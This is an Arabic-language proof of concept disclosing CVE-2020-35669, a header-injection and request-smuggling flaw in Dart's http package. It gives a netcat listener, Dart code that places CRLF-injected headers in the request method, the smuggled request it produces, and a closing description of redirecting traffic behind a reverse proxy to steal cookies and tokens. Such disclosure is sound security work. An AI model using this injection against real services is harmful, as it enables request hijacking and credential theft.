
إثبات مفهوم لاستغلال CVE-2020-35669 يوضح تهريب طلبات HTTP وحقن الرؤوس في حزمة http الخاصة بـ Dart عبر معلمات طريقة مصممة، مما يتيح تجاوز الوكيل العكسي والتلاعب برأس المضيف.
يرجى تشغيل الخادم التجريبي باستخدام الطرفية الأولى
sudo nc -l 127.0.0.1 80
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
void main() async {
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
- Uri(scheme: "http", path: "/llama", host: "google.com"));
+ Uri(scheme: "http", path: "/llama", host: "localhost"));
var rs = await r.send();
var resp = await Response.fromStream(rs);
print('${resp.body}');
يرجى تنفيذ main.dart باستخدام الطرفية الثانية
dart run main.dart
يجب أن يستقبل nc الطلب المعطى
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
Uri(scheme: "http", path: "/llama", host: "google.com"));
var rs = await r.send();
بافتراض أن الـ diff المعروض أعلاه لم يتم تطبيقه والمستخدم خلف rev-proxy تم الوصول إلى الموقع الذي يخدمه example.com.
dart run main.dart
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
...
... blah blah blah
...
إذا كان المطور يستخدم Request لتجريد توليد استدعاءات HTTP وكان يقبل معامل method من المستخدم، فيمكن للمستخدم القيام ببعض الحيل مثل حقن الترويسات أو تزوير المسار.
يمكن استغلال هذا بطرق عديدة ويبدو أنه مهم جدًا خاصة في حالة وجود بروكسي عكسي. قد يقوم البروكسي بتمرير طلب شخص ما إلى أي مضيف بناءً على ترويسة host.
لنفترض أنني أستبدل example.com بـ my-evil-uservice.org وأن الضحية يعمل في شركة خلف البروكسي. هذا يعني أنه يمكنني إعادة توجيه الاستدعاءات مع الترويسات/الكوكيز (الرموز) وهلم جرا. بناءً على ذلك، يمكن حدوث سرقة للاستدعاءات مع جميع الترويسات والكوكيز.